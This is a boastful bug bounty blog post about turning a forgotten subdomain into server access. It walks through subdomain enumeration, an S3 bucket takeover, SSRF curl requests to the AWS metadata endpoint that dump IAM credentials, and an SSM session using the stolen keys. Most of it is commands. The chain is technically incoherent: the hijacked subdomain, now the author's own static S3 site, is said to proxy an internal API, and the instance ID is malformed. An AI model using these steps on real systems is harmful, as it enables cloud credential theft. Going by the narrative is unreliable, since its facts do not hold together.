404 to Root : How a Forgotten Subdomain Led to Server Takeover 🏴☠️
Life’s Funny 😅 Until You Get Root Access…
Let me start with this:
I forgot to pay my internet bill, but managed to hijack a company server.
My fridge had no food, but I found a subdomain feast.
I was broke, until DNS misconfig gave me a root shell.
Life gives lemons? Nope. Life gave me a dangling CNAME and full control. 😂
This is the story of how a tiny 404 page turned into a full-blown server takeover. A tale of recon, forgotten subdomains, DNS negligence, and one overly caffeinated bug bounty hunter (me). Buckle up — this one goes from zero to root real quick.
Recon: The Digital Dumpster Diving 🧰
Like every bug bounty hunter with more tabs than sleep, I started my recon session with a massive subdomain enumeration using tools like:
assetfinder --subs-only target.com >> recon.txt
subfinder -d target.com -silent >> recon.txt
amass enum -passive -d target.com >> recon.txt
sort -u recon.txt > final-subs.txt
I took the merged list of subs, ran them through httpx
to filter live ones:
cat final-subs.txt | httpx -status-code -title -tech-detect -silent > live-subs.txt
And BOOM — found something like this:
404 - Not Found | old-staging.target.com
a staging subdomain returning 404? Interesting… let’s dig deeper
Clues in the DNS: The Forgotten CNAME 🌐🔎
I ran a simple dig
on the subdomain:
dig old-staging.target.com CNAME
Response:
old-staging.target.com. 300 IN CNAME old-target-dev.s3-website-us-east-1.amazonaws.com.
An abandoned AWS S3 static site bucket. But the CNAME still points to it.
So I checked if the bucket existed:
aws s3 ls s3://old-target-dev
Mission confirmed: this is a classic subdomain takeover due to a dangling CNAME.
Taking Over the Subdomain: Hijack in Progress 🤖
Since the original S3 bucket was gone, I registered it under my own AWS account:
aws s3 mb s3://old-target-dev
Then hosted a simple proof-of-concept HTML:
<html>
<h1>You just got hijacked by @rev_30 🚀R</h1></html>
Uploaded using:
aws s3 website s3://old-target-dev --index-document index.html
aws s3 cp index.html s3://old-target-dev/ --acl public-read
Now visiting http://old-staging.target.com
showed my content.
Proof of Concept:
Going Deeper: SSRF + Cloud Metadata = RCE 🧼
While that alone is a valid bug, I wanted to crank up the severity. So I started brute-forcing internal endpoints on the hijacked subdomain. Surprisingly, the server was configured to proxy internal traffic — a misconfigured reverse proxy still alive!
I tested for SSRF by sending:
curl -X POST http://old-staging.target.com/api/render -d '{"url":"http://169.254.169.254/latest/meta-data/"}'
Got response:
ami-id
iam/security-credentials/EC2Role
✅ Jackpot. I chained it with:
curl -X POST http://old-staging.target.com/api/render -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2Role"}'
Dumped temporary AWS keys:
{
"AccessKeyId": "ASIA....",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCY...",
"Token": "...",
"Expiration": "2025-01-01T00:00:00Z"
}
Configured them in AWS CLI:
aws configure
Root Shell? Yes Please. 👽
One last test:
aws ssm start-session --target i-0a1b2c3d4e5f6g7h
🌟 Welcome to the machine, root.
Impact: More Than Just a 404
- Subdomain Takeover
- Internal API Exploitation
- SSRF to AWS metadata exfiltration
- Privilege Escalation via IAM Role
- Full EC2 Access (RCE)
What You Can Learn From This:
- Always clean up old CNAMEs in DNS configs
- Remove unused subdomains and stale staging endpoints
- Don’t expose internal APIs to the public internet
- Use IAM roles with the principle of least privilege
- Monitor DNS zones for dangling CNAMEs regularly
Final Thoughts ☕️
Bug bounty is like a treasure hunt. You don’t always find gold, but when you do… it’s glorious.
This was more than just a dangling subdomain. It was a chain of misconfigs and forgotten infra stitched together like a CTF challenge — except it was real.
Till next time, keep digging, keep hacking, and never underestimate a 404 page.
📣 Drop your thoughts below or DM me if you’re stuck in recon hell. Happy hacking!